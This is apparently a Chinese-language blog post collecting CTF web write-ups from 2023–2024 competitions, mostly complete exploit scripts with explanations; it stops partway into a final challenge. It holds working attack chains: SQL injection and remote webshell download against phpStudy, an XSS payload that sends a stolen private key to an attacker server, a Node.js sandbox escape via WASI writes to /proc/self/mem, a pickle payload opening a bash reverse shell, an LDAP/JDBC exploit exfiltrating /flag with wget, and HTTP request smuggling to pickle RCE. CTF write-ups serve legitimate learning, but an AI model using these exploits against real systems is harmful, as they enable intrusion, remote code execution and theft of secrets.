没什么好说的,一个普通的 CTF Writeup 记录贴,主要是 Web 方向,当场做出来时写的 wp。有的没那么详细,或者压根没写的,就不放上来献丑了。
按照时间倒叙排列,大概包括:2024 R3CTF,2024 京麒CTF,2024 D^3CTF,2023 强网拟态线上,2023 HITCTF,2023 N1CTF。
目录
-
- 2024年6月 R3CTF
-
- 2024年5月 京麒CTF
-
- 2024年4月 D^3CTF
-
- 2023年11月 强网拟态线上
-
- 2023年11月 HITCTF
-
- 2023年10月 N1CTF
-
web >> r3php
首先给到的是一个无回显 file_get_contents(),限定 http 协议,可以自定义请求头。所以目标很明确,就是 SSRF 攻击 phpstudy 的内网协议。
php-fpm 开着,但是这里没法打。9080 用 Workerman 开着后台面板界面,除了登录接口都有鉴权,绕了很大的弯路之后发现,没法使用自定义的 session cookie(存疑?其实这里面还存在读文件/反序列化的逻辑),每次 sessionStart() 都会刷新,自然验证码就无法爆破,在 GET 后面伪造 POST 的时候也老是爆 400,不知道咋回事,只得放弃。
8090 端口开着 phpstudy 程序,前端界面使用自定义的协议与其通信:
可以看到是比较粗糙的,JSON^^^ 这样,先看看后台实际的登录逻辑如何实现。
密码在前面取了 MD5,用户名啥过滤没有,也就是说存在 SQLite 注入。
刚开始肯定会想通过 9080 的那个面板打,毕竟都是 HTTP,喜闻乐见的是,PHP 5 下 htmlspecialchars 也没过滤单引号,所以一个直观的想法是直接用万能密码打进去。
然后就会遇到两个问题,一是没有回显,没有验证码的 session,无从登录,二是实际试过万能密码之后,发现那个程序它 crash 了,没错,segmentation falt,不知道是后边插登录日志的时候报错,直接空指针引用了还是啥,总之一句话就是,即使解决了 session 的问题,在前端 16 个字符,经过 htmlspecialchars,要构造出同时符合 SELECT 和 INSERT 语法的语句,非常困难。
接着 nc 连上 8090,试试它这个协议。如果每行打一个 JSON^^^,是可以在单个连接内执行多次的,即使前面报错了也能继续,这一点很重要。其它接口也需要鉴权,使用的 TOKEN 由登录接口返回,大概看了一下,保存在 std::map 里,就别说啥伪造了。
综合以上的所有信息,再次明确现阶段的目标,首先得登录进这个系统。那么入口点肯定是这个 SQL 注入。可以想到,如果支持多语句执行的话,可以直接插入一个恶意 INSERT 更新 admin 的密码,而在本 phpstudy 中,如果在查询中插入多个 SELECT,只有最后一个的结果会被返回,也就是说其使用的 c sqlite 库确实是支持多语句执行的。
现在还需要 ADMINS 的表结构以及密码的 MD5 来完成这一步骤。前者直接 strings 一下就能看到,而后者,这还能是个问题?但是就是怎么试就是不对。应该不会有人想去把它 MD5 的算法逆出来,于是一个直观的想法是,把密码先改成 123456,然后在数据库中找到对应 hash 值。但是数据库呢?搜了半天没找到,strace openat 了也没找到,有点怀疑人生。再看看代码,能发现底下这个逆天的混淆:
更要命的是,直接把数据库脱出来用 sqlcipher 还打不开,估计是它在 depends 里 hook 了 sqlite3 系列函数,又加密了一次。一个 MD5 搞得这么麻烦?用 gdb 也下不了 breakpoint,不知道又干了啥。然后想到它会在执行失败的时候打印 log,于是就找了个语句里边带 MD5 的,让它报错,就能在回显里看到之前心心念念的密码 hash,这里用了 add_admin 这个 command。
cmd5 竟然还认识,反正我不认识。总之 hash 有了,表结构有了,就可以构造这样的 command 进行 SQL 注入。
1 |
{"command":"login","data":{"username":"aaa'; UPDATE ADMINS SET PASSWORD='c26be8aaf53b15054896983b43eb6a65'; -- a","pwd":"123456"},"token":""} |
最后千万别让它返回啥结果,否则进入插入日志流程的时候就会崩溃,反正我是挺难崩。
修改过后,就可以正常使用 123456 密码登录了。在面板里大概翻了翻,文件操作基本上是由 9080 的 php 实现的,不过有个下载远程文件的功能,参数直接传进 json,是后端实现的。
直接往 wwwroot 里下 shell 就完事了。测过之后,确实是可以的。也就是说,整体上的攻击链已经完成。
1 |
{"command":"download_remote_file","uid":4,"data":{"remote_url":"http://IP/shell.php","download_to":"/www/admin/localhost_80/wwwroot/shell.php"},"token":"TOKEN"} |
还剩下几个问题,一是没有回显,而 TOKEN 由 login command 返回,也跟随机 session 刷新了一样,不太可控。幸好多看了眼它的生成算法:
发现竟然是 timestamp,不是预期的随机数,底下还 insert 拼接,MD5 了几次。鉴于没有办法调试,tcpdump 抓了个包,最后猜出来了:md5(md5('admin'+timestamp).upper())
TOKEN 的问题解决,在发送 login command 的时候计算,之后的请求带上即可。
现在就剩最后一步,将这些操作集成到一开始的 file_get_contents() 里面。但是很快就遇到了新的问题,用 tcpdump 可以看到,f_g_c() 发送完请求后,只收到了前面 parse error: GET / … 这个回包,后面的 ^^^ 似乎没有被解析,这与在 nc 中得到的结果不同,为什么呢?
从那个巨tm长,IDA F5 跑了两小时没出来最后放弃了的主调度函数中回溯,可以看到处理 socket 的流程。
大概就是,死循环里边 read(),有数据之后加进缓冲区,搜第一个 ^^^ 进行处理。也就是说,如果我们发送得太快,第一次就全部 read 进来了,处理完第一条 command 之后即使还有第二个,也会在 read() 处阻塞,没法继续执行。之前 nc 一行行地发送正好避免了这种情况的发生。
那现在怎么办呢?file_get_contents() 肯定是没法等到数据发回来,再接着继续发的。其实可以发现,只要让 read() 不阻塞就行了,^^^ 可以包含在刚开始发过去的数据里,也就是说,可以用一堆垃圾数据不断填满 read 的缓冲区,让 f_g_c() 一直发,等到 phpstudy 处理完第一个 parse error 为止,如果数据贼多,还在发的话,就能顺利执行第二条 command。
至此,已经完成本题攻击链中所有细节。
trash data 刷新缓冲区 ==> SQL 注入修改 admin 密码 ==> 基于 Timestamp 计算登录 TOKEN ==> 远程下载 PHP shell 至 wwwroot
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
import requests, time, hashlib URL = 'http://ctf2024-entry.r3kapig.com:32182/' def send_json(pay): data = {'url': 'http://127.0.0.1:8090/aaa', 'header': '^^^' + pay + '^^^' + 'A'*100000} try: res = requests.post(URL, data=data, timeout=3) except requests.exceptions.Timeout: print('timeout') else: print(res.status_code) send_json('''{"command":"login","data":{"username":"aaa'; UPDATE ADMINS SET PASSWORD='c26be8aaf53b15054896983b43eb6a65'; -- a","pwd":"123456"},"token":""}''') ts = int(time.time()) print('timestamp', ts) token = hashlib.md5(hashlib.md5(('admin' + str(ts)).encode()).hexdigest().upper().encode()).hexdigest().upper() send_json('''{"command":"login","data":{"username":"admin","pwd":"123456"},"token":""}''') send_json('''{"command":"download_remote_file","uid":4,"data":{"remote_url":"http://IP/shell.php","download_to":"/www/admin/localhost_80/wwwroot/shell.php"},"token":"TOKEN"}'''.replace("TOKEN", token)) |
后记:出题人直接写了个计划任务 TASKMNG 表,我压根没注意到。
- web >> Modern WordPress
代码很多,很复杂,首先明确一下要做什么。
要获取 flag。flag 在哪?/api/flag 路由里边有。
然后需要 info.accounts[0].addr 及其私钥用来签名。这个又在哪里?/api/bot 里面有。
这里是个 XSS,admin 把私钥填进去,然后看了看 Posts。先别管具体咋 X 的,找找内容从哪里来。
可以发现 admin 查看了自己的 Posts,然后上边那个 dangerouslySetInnerHTML 直接就把我们的内容合并进去,一发 XSS 了。
所以我们的目标是,修改 admin 的 Posts 为恶意内容,触发 XSS。只有这条路,因为其他啥参数都不可控。
那么现在可以做什么呢?有个区块链,web3,想干点啥都要金币,但是初始账户里没有余额。所以首先,得往自己的账户里充钱。看 /api/recharge 可以发现充钱是要用 redeem code 充的。它生成的逻辑是这样:
经典 Math.random() 了,在 Node.JS 里边是可以预测的,当然,理论上也可以向前”预测”。再看看这玩意其他的输出点。
又发现,爆 500 的时候顺便把这玩意输出来了,给定了足够的状态以后,就可以还原 redeem code。
https://github.com/PwnFunction/v8-randomness-predictor
然而再仔细看看,会发现有点不对头。这里输出的是 36 进制的 String,一次 Math.random().toString(36)
小数点后有 11 位,recharge 的 16 长度由两个拼接而来,但报错里能获取的只有 10 位,也就是最后一位没了。
刚开始想爆破,然后发现不太现实。其实 V8 随机数生成的逻辑很简单,就是位移移异或或,所以理论上失去了最后一位(大约 4~8 bit 的信息),是能通过更多的状态补充回来的。也就是说要做的其实很简单,把代码改成向前回溯状态(”预测”)的,然后加入 10 个左右生成的数(原本是 5 个),在计算时把低 8 位 mask 掉(表示未知),照样能解出来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 |
#!/usr/bin/python3 import z3 import struct def base_fromf(x): ret = 0.0 base = 1/36 for i in range(len(x)): ret += base * int(x[i], 36) base /= 36 return ret def base_tof(x): ret = '' while x > 1e-4: ret += '0123456789abcdefghijklmnopqrstuvwxyz'[int(x*36)] x = x*36 - int(x*36) return ret def check(sequence): sequence = sequence[::-1] solver = z3.Solver() se_state0, se_state1 = z3.BitVecs("se_state0 se_state1", 64) for i in range(len(sequence)): se_s1 = se_state0 se_s0 = se_state1 se_state0 = se_s0 se_s1 ^= se_s1 << 23 se_s1 ^= z3.LShR(se_s1, 17) # Logical shift instead of Arthmetric shift se_s1 ^= se_s0 se_s1 ^= z3.LShR(se_s0, 26) se_state1 = se_s1 if isinstance(sequence[i], str): solver.add(z3.BitVec(sequence[i], 64) == z3.LShR(se_state0, 12)) continue float_64 = struct.pack("d", sequence[i] + 1) u_long_long_64 = struct.unpack("<Q", float_64)[0] # Get the lower 52 bits (mantissa) mantissa = u_long_long_64 & ((1 << 52) - 1) mask = ((1 << 64) - 1) & ~((1 << 8) - 1) # Compare Mantissas ( except lower 8 digits ) solver.add((int(mantissa) & mask) == (z3.LShR(se_state0, 12) & mask)) if solver.check() == z3.sat: return solver.model() return False def answer(model): states = {} for state in model.decls(): states[state.__str__()] = model[state] print(states) state0 = states["se_state0"].as_long() for state in model.decls(): if (mat:=state.__str__()).startswith('mat'): u_long_long_64 = (states[mat].as_long() >> 0) | 0x3FF0000000000000 float_64 = struct.pack("<Q", u_long_long_64) prev_sequence = struct.unpack("d", float_64)[0] prev_sequence -= 1 print(mat, prev_sequence, base_tof(prev_sequence)) org = ['mat0','mat1','mat2','mat3','mat4','mat5'] def getapd(n): import requests ret = [] for i in range(n): res = requests.post('http://ctf2024-entry.r3kapig.com:32090/api/backend', data='{"js', headers={'Content-Type': 'application/json'}) print(i, num:=res.json()['data']['id']) ret.append(num) ret = ret[1:] # first for check print('') return ret # Array.from(Array(100), ()=>(Math.random().toString(36).substring(2).slice(0,10))) apd = getapd(10) apd = list(map(base_fromf, apd)) print(apd) model = check(org + apd) if model is False: print('unsolvable') else: answer(model) |
Python 的 36 进制转 10 进制小数还有点精度丢失,行为不一致,很难崩,结果拷到 Node.JS 上面再转。
有了金币以后就可以进行智能合约的链上操作,这上边能 register,publish,edit,但问题是,都只能操作自己的,也就是 sender.address,没法修改别人,或者说 admin 的 Posts 。
再仔细看看这里,这个 undo() 功能,首先把 length 减了 1,然后再判断它是否 >=0。看起来好像没问题?因为 require() 不满足,交易就不会成功。再说了,就算是负数又能怎么样。然后可以发现,length 在 solidity 里是个 uint256 类型的,也就是说 0-1 会下溢出至 2^256-1 最大值,导致该数组可以对任意的 offset 进行访问,理论上形成任意读写。
这里便需要一些 solidity memory layout 的知识。
https://docs.soliditylang.org/en/v0.8.17/internals/layout_in_storage.html
对着它的合约,version 占据 slot0,我们在的 postMapping 对应 slot4,也就是说,postMapping[address] 对应的 slot 为 keccak256(bytes32(account) + bytes32(4))
。由于 Post[] 又是 dynamic array,需要对之前得到的地址再次 keccak256(),得到该数组的起始 slot。数组内各元素存放地址为 keccak256(起始slot + index)
。
有了该溢出之后,由于 solidity 对每个合约共用一个 2^256 slot 大小的地址空间,也就是说,由我们的 Post[] 是可以访问到对应 admin 的 Post[] 数组的,只是需要注意到一些简单的计算。这里还要特别注意,由于 struct Post 占 3 个 slot,所以计算 offset 时需要除以 3,并保证能够整除,否则需要更换地址继续。
1 2 3 4 5 6 7 8 9 |
mypos = keccak256(keccak256(bytes32(account) + bytes32(4))) admin = '0x04478cD6BD7DE5f721a88d25A2f44edba2627276'[2:].lower() # <--- admin public address apos = keccak256(keccak256(bytes32(admin) + bytes32(4))) offset = int(apos, 16) - int(mypos, 16) if offset < 0: offset += 2**256 assert(offset % 3 == 0) offset //= 3 |
这样得出的 offset,就是在访问我们的 Post[] 数组时,指定此 index 便能神奇地访问到 admin 的第一篇 Post!同理,就可以 edit() 这篇文章为恶意 XSS payload,然后让 admin 去访问。
那么接下来,解决 XSS 的问题。我们要偷的 private key 它恰好不好,不在 cookie 里,也不在 localStorage 里,偏偏就在 React 写的前端的一个 Context (Provider) 里。这咋整?去逆编译出来的 js 肯定是不可能的。其实再想想,能发现它的这些 props 肯定是存在 DOM 树里的。具体来说是哪里?三个字:不知道。
因为是真的不知道。每次渲染生成的字符串是随机的,我们只知道 private key 肯定在这里头,但是无从找起。不过其实也好办,都 XSS 能执行 JS 了,让它直接开搜呗。简单地搓一个递归查找属性的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
function findVal(object, key, path, depth) { var value; Object.keys(object).some(function(k) { if (k === key) { console.log(path); value = object[k]; return true; } if (object[k] && typeof object[k] === 'object' && depth > 0) { value = findVal(object[k], key, path + '.' + k, depth - 1); return value !== undefined; } }); return value; } findVal(document.getElementById("root"), "privateKey", '', 10) // .__reactContainer$q7dczn7vxl.stateNode.containerInfo.__reactContainer$q7dczn7vxl.stateNode.current.lastEffect.return.memoizedState.memoizedState |
搜出来路径可能不唯一,但有肯定是有的。然后用经典 img.src 送到我们服务器上即可。
至此,已经完成了攻击链的所有步骤。
V8 随机数向前预测,计算充值码 ==> 在 Solidity 合约上 slot 任意读写 ==> 修改 admin 的 Post 并 XSS ==> prvkey 签名得到 flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 |
import requests, web3, json, binascii from Crypto.Hash import keccak from web3 import Web3 from eth_account.messages import encode_defunct URL = 'http://ctf2024-entry.r3kapig.com:32090' prvkey = '0x000000000000000000000000000000000000000000000000000000000000000b' res = requests.get(URL + '/api/backend').json()['data']['blog'] address = res['address'] abi = res['abi'] web3 = Web3(Web3.HTTPProvider(URL + '/rpc')) account = web3.eth.account.from_key(prvkey).address # ----------- def bytes32(i): return binascii.unhexlify('%064x' % i).hex() def keccak256(x): k = keccak.new(digest_bits=256) k.update(bytes.fromhex(x)) return k.hexdigest() mypos = keccak256(keccak256(bytes32(int(account, 16)) + bytes32(4))) admin = '0x04478cD6BD7DE5f721a88d25A2f44edba2627276' # <--- MODIFY TO ADMIN ADDRESS HERE apos = keccak256(keccak256(bytes32(int(admin, 16)) + bytes32(4))) print('from', mypos, '=>', apos) offset = int(apos, 16) - int(mypos, 16) if offset < 0: offset += 2**256 print('offset', bytes32(offset)) assert(offset % 3 == 0) # ----------- code = 'MWP-nn4lpyib8s418b0t' # <--- MODIFY TO REDEEM CODE HERE message = encode_defunct(text = account + '|' + code) data = {'code': code, 'address': account, 'signature': '0x'+bytes(web3.eth.account.sign_message(message, private_key=prvkey).signature).hex()} print(data) res = requests.post(URL + '/api/recharge', json=data) print(res.text) print('connected', web3.is_connected()) print('blockchain', web3.eth.block_number) print('my balance', web3.eth.get_balance(account)) from web3.middleware import geth_poa_middleware web3.middleware_onion.inject(geth_poa_middleware, layer=0) contract = web3.eth.contract(address=address, abi=abi) print('username_count', contract.functions.getUserNameCount().call()) def call(total_fee, func): transaction = { 'from': account, 'value': total_fee, 'gas': 3000000, # adjust the gas limit as needed 'gasPrice': web3.to_wei('5', 'gwei'), # adjust the gas price as needed 'nonce': web3.eth.get_transaction_count(account) } txn = func.build_transaction(transaction) signed = web3.eth.account.sign_transaction(txn, prvkey) txn_hash = web3.eth.send_raw_transaction(signed.rawTransaction) print(txn_hash.hex()) web3.eth.wait_for_transaction_receipt(txn_hash.hex()) print(web3.eth.get_transaction_receipt(txn_hash.hex())) username = 'hello10' fee_per_byte = 5 * 10**12 # 5 szabo in wei total_fee = fee_per_byte * len(username) print('registering') call(total_fee, contract.functions.register(username=username)) print('username_count', contract.functions.getUserNameCount().call()) print('undo') # 1 finney call(10 ** 15, contract.functions.undo()) #print('read', web3.eth.get_storage_at(address, keccak256(apos))) print('article', contract.functions.read(user=admin, id=0).call()) title = 'mytitle' content = '''<img src=x onerror="var f=(o,t,d)=>{var v;Object.keys(o).some(function(k){if(k===t){v=o[k];return true;}if(o[k]&&typeof o[k]==='object'&&d>0){v=f(o[k],t,d-1);return v!==undefined;}});return v;};this.src='http://IP:POST/?'+f(document.getElementById('root'),'privateKey',10);" />''' fee_per_byte = 50 * 10**12 total_fee = fee_per_byte * len(title + content) print('editing') call(total_fee, contract.functions.edit(id=offset//3, title=title, content=content)) print('article', contract.functions.read(user=admin, id=0).call()) res = requests.post(URL + '/api/bot') print(res.text) apv = input('the admin private key: ').strip() message = encode_defunct(text = admin.lower() + ': vivo flag') data = {'message': message.body.decode(), 'signature': '0x'+bytes(web3.eth.account.sign_message(message, private_key=apv).signature).hex()} print(data) res = requests.post(URL + '/api/flag', json=data) print(res.text) |
- web >> JustMongo
刚开始被骗惨了,还以为要逃逸 mongodb 那个 mozjs,翻半天源代码无果。看了 hint 才知道,捏麻麻的,原来可以任意文件下载。
下了个 index.mjs 看看,这里 query 直接带进 db.findOne() 肯定是有问题的。再看看,密码存的是 bcrypt 加密后的,也就是说即使能把密码注出来也没用,应当考虑登录相关逻辑的绕过。
刚开始本来想让它直接返回个固定的 username 跟 password,但是 MongoDB 好像不支持这种。再一看,这咋回事,先 verifyUser() 跑了一遍,后面获取 permium 又 find() 了一遍,也就是说,可以利用这两次 find() 之间的差异,密码用我们的检验通过,然后 premium 用 admin 的。答案已经呼之欲出了,$rand{} 一下就完事了。1/2 的概率返回我们的 test 用户,用于通过密码检验,1/2 的概率返回 admin,获取 premium。
1 |
{"$expr": {"$eq": ["$username", {"$cond": [{"$gt": [{"$rand": {}}, 0.4]}, "admin", "test"]}]}, "password": "12345678"} |
差不多平均 5s 内,能爆出来。然后看看真正需要绕过的 sandbox 长啥样。
看了老半天,其他都不是关键点,简单来说,就是要绕过 --experimental-permission
。
根据往年的 CVE,通过 require,Inspector/Worker 等绕过,应当可以想到这里可能还存在某些不遵守这玩意限制的东西。然后就在 PR 的第二页(一周前发布)翻到了关于 “prevent WASI exec” 的描述。
https://github.com/nodejs/node/commit/3ab0499d434078676261512a67897f4c2f433e43
过一眼就明白了,也就是说 WASM 这玩意可以绕过沙箱的限制,任意读写文件。题目环境采用 node 20.14.0,虽然很新,但这个 issue 更新,所以可以利用。
写这玩意的 wasm 实在是头疼,文档里也不说清楚,还得自己翻。Node.JS 里只提供了 wasi_snapshot_preview1 系列的标准接口可供调用,包括 path_open、fd_write、fd_seek 等,啥都得自己实现。
https://nodejs.org/api/wasi.html
https://fossies.org/linux/wasm3/source/extra/wasi_core.h
之前的想法是先列目录看看有什么效果,虽然读到 /readflag 的时候已经有点发慌了,但还是写 wasm 写了一段时间,包括由于 wasm 中没有回显,其输出怎么跟 Node.JS 交互,等等。然后发现确实是要 RCE,这下难受了。
不过好在可以读写 /proc/self/mem,理论上可以采用 pwn 的那种方式劫持控制流,这里使用了一种比较简单的实现,就是把 experimental-permissions 带来的影响给 patch 掉。
在 native 代码里,最终调用的都是这个宏,最后进到 is_scope_granted()
好在 node 没有 PIE,而且题目环境中的版本可以下下来,所以这里的 offset 都是固定的。
这函数里边随便挑 6 个字节,写成 0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3
也就是 mov eax, 1 ; retn
即可。
用 wasm 实现,也就是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 |
// docker run --rm -v $(pwd):/src -u $(id -u):$(id -g) emscripten/emsdk emcc file_patch.c -o file_patch.wasm -s WASM=1 -s STANDALONE_WASM #include <wasi/api.h> #define BUF_SIZE 1024 unsigned long strlen(const char* str) { const char* p = str; unsigned long len = 0; while (*(p++)) len++; return len; } // Declare the external function extern void custom_write(int c) __attribute__((import_module("env"), import_name("custom_write"))); void my_write(const char *entry, int length) { while (length--) custom_write(*(entry++)); // Call the custom Node.js function custom_write('\n'); // Print newline } void handle_error(__wasi_errno_t err) { if (err != __WASI_ERRNO_SUCCESS) { my_write("err:", 4); custom_write(err); __wasi_proc_exit(err); } } int main(int argc, char *argv[]) { const char* wpath = "/proc/self/mem"; __wasi_errno_t status; __wasi_fd_t wfd; status = __wasi_path_open(3, 0, wpath, strlen(wpath), 0, __WASI_RIGHTS_FD_WRITE | __WASI_RIGHTS_FD_READ | __WASI_RIGHTS_FD_SEEK, 0, 0, &wfd); handle_error(status); __wasi_filesize_t noff; status = __wasi_fd_seek(wfd, 0x00e0ed57, __WASI_WHENCE_SET, &noff); handle_error(status); unsigned char filebuf[1024] = { 0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3 }; __wasi_ciovec_t iov = { .buf = filebuf, .buf_len = 6 }; size_t nread; status = __wasi_fd_write(wfd, &iov, 1, &nread); handle_error(status); __wasi_fd_close(wfd); my_write("suc", 3); return 0; } |
写完之后 Node.JS 就跟没有限制一样了,直接 execSync() 读 flag 即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
import { WASI } from 'node:wasi'; import { execSync } from 'node:child_process'; export async function main() { const wasi = new WASI({ version: 'preview1', args: ['mywasm', '/', '/proc/self/maps'], env: {}, preopens: { '/': '/', }, }); let s = ''; function customWrite(c) { if (c > 128) s += c.toString(16); else s += String.fromCharCode(c) } await (async () => { const wasm = await WebAssembly.compile( Buffer.from("[HEX]", "hex"), ); const instance = await WebAssembly.instantiate(wasm, { ...wasi.getImportObject(), env: { custom_write: customWrite, }, }); wasi.start(instance); })(); //return s; return execSync('/readflag').toString(); |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
import requests URL = 'http://ctf2024-entry.r3kapig.com:32482' data = {'username': 'test', 'password': '12345678'} res = requests.post(URL + '/api/register', json=data) print(res.text) while True: data = {"$expr": {"$eq": ["$username", {"$cond": [{"$gt": [{"$rand": {}}, 0.4]}, "admin", "test"]}]}, "password": "12345678"} res = requests.post(URL + '/api/login', json=data) print(res.text) if res.status_code == 200: token = res.json()['token'] res = requests.get(URL + '/api/session', params={'token': token}) print(res.text) if res.json()['plan'] == 'premium': break with open('file_patch.wasm', 'rb') as f: HEX = f.read().hex() mjs = ''' // <--- above MJS code '''.replace('[HEX]', HEX) data = {'code': mjs, 'token': token} res = requests.post(URL + '/api/run', json=data) print(res.json()) |
后注:最后提示 websocket 了还是没想到,向 parnet 发 SIGUSR1 可以直接打开 inspector,debug 父进程,就与沙箱完全无关了。
- web >> NinjaClub
半小时解决。Jinja2 的 SandboxEnvironment 基本上没法逃逸,把下划线,内置类型检测了个遍。那么问题就在于传进去的参数,pydantic 源代码顺着往里边翻一翻,马上就能发现:
这个 allow_pickle 参数可疑得不能再可疑了好吧。继续跟进,直接 pickle.load() 了就,content_type 也是可控的。
PoC 没什么好说,一步到位。
{{user.parse_raw('c__builtin__\neval\np0\n(V__import__("os").system("/bin/bash -c \'bash -i >& /dev/tcp/IP/PORT 0>&1\'")\np1\ntp2\nRp3\n.',content_type='pickle',allow_pickle=True)}}
-
web >> ezldap
首先 actuator 泄露,在 /actuator/mappings 可以看到隐藏路由 /source_tr15d0,为使用 ldap:// 连接的 /lookup 路由源代码。查看 env 发现 com.sun.jndi.ldap.object.trustSerialData=false
,没有办法走反序列化,而且 heapdump 可以搜到 jdk 17 以及 springboot 2.7.18 都非常的新。
https://tttang.com/archive/1405/#toc_tomcat-jdbc
有 tomcat-jdbc 依赖,RMI 按照上面的 PoC 打就完事了,ldap 的话,根据调用链可以看到 lookup() 最终也是 getObjectInstance(),继续跟进 decodeObject() 看看怎么处理 ReferenceRef。
继续跟进 decodeReference()。
这里可以看见 className 跟 factory 都可控了,注意这个 RefAddr,继续往下找。
最后也就是当做 StringRefAddr 参数加进去了,至此跟 RMI 调用链完全一致,按照它的格式起一个 ldap 即可。
这里需要注意的是,CREATE TRIGGER 好像因为版本的原因打不通,换成 RUNSCRIPT FROM 继续打。远程环境是 Alpine,没有 bash,用 wget --post-file /flag
带出数据。
1 2 |
CREATE ALIAS EXECz AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "";}'; CALL EXECz ('wget --post-file /flag http://IP:PORT/') |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 |
package com.example.demo; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import com.unboundid.util.Base64; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.text.ParseException; public class ldap_server { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main (String[] args) { int port = 1389; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor()); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { public OperationInterceptor () { } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ e.addAttribute("javaClassName", "javax.sql.DataSource"); e.addAttribute("javaFactory", "org.apache.tomcat.jdbc.pool.DataSourceFactory"); String JDBC_URL = "jdbc:h2:mem:memdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://REMOTE_IP/h2.sql'"; e.addAttribute("javaReferenceAddress", "#0#driverClassName#org.h2.Driver"); e.addAttribute("javaReferenceAddress", "#1#url#"+JDBC_URL); e.addAttribute("javaReferenceAddress", "#2#username#sa"); //e.addAttribute("javaReferenceAddress", "#3#password#"); e.addAttribute("javaReferenceAddress", "#3#initialSize#1"); e.addAttribute("javaReferenceAddress", "#4#init#true"); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } } |
-
web >> d3pythonhttp
前面 Flask,后面 web.py,明显是利用解析差异。
Flask 这里是 lower(),底下的 web.py 直接判断,所以取 “Chunked” 可以使前面正常解析而后面保留。
Fuzz 一下,发现 Flask 对 Content-Length 不敏感,wsgi 解完 chunk 后 web.py 刚好根据 CL 截断,可以把后面的 Backdoor… 字符串删去,保留前边完整的 base64 payload。
对于 jwt 的部分,kid 可以目录穿越读取任意文件,随便选一个当 key 就可以。下图中这个文件读出来是 “Linux”。
最后直接 pickle R(CE) 即可,由于不出网,直接 exec 替换 index.GET 默认路由回显。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
import base64, pickle, socket class R(object): def __reduce__(self): return (exec, ('index.GET=(lambda x: __import__("os").popen("cat /Secr3T_Flag").read());', )) payload = base64.b64encode(pickle.dumps(R())) data = f'''POST /admin HTTP/1.1 Host: python-backend:8080 Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4uL3Byb2Mvc3lzL2tlcm5lbC9vc3R5cGUifQ.eyJ1c2VybmFtZSI6ImEiLCJpc2FkbWluIjp0cnVlfQ.QNAZtiSeedmA7mnPacjjkjBlf3gb5QXXjEy-9USsYAQ Transfer-Encoding: Chunked Content-Length: {len(payload)} {hex(len(payload))[2:]} {payload.decode()} 1c BackdoorPasswordOnlyForAdmin 0 '''.encode().replace(b'\r\n', b'\n').replace(b'\n', b'\r\n') print(data.decode()) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('47.116.173.108', 31303)) s.send(data) print(s.recv(4096).decode()) print(s.recv(4096).decode()) |
- web >> Doctor
先审计路由代码,可以看到 Recorder 权限检测了一个 IsWebsocket() ,跟进。
